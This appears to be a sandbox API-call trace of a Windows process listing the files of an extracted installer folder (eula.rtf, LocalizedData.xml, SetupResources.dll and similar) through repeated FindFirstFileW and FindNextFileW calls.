	[0062.596] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.596] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f48
	[0062.597] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.597] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.597] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.597] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.597] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.597] FindClose (in: hFindFile=0x811f48 | out: hFindFile=0x811f48) returned 1
	[0062.597] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.597] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0062.598] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.598] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0062.598] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.598] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.598] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.598] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.598] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.598] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0062.598] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.598] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0062.598] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.598] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0062.599] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.599] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.599] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.599] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.599] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.599] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0062.599] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.599] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0062.599] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.599] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8120c8
	[0062.628] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.628] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.628] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.628] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.628] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.628] FindClose (in: hFindFile=0x8120c8 | out: hFindFile=0x8120c8) returned 1
	[0062.629] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.629] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0062.629] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.629] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b48
	[0062.631] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.631] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0062.631] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0062.632] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0062.632] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0062.634] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.634] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0062.634] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0062.634] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0062.634] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.634] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ac8
	[0062.634] FindNextFileW (in: hFindFile=0x811ac8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.634] FindNextFileW (in: hFindFile=0x811ac8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0062.635] FindNextFileW (in: hFindFile=0x811ac8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0062.635] FindNextFileW (in: hFindFile=0x811ac8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0062.635] FindClose (in: hFindFile=0x811ac8 | out: hFindFile=0x811ac8) returned 1
	[0062.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.635] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0062.635] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.635] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811fc8
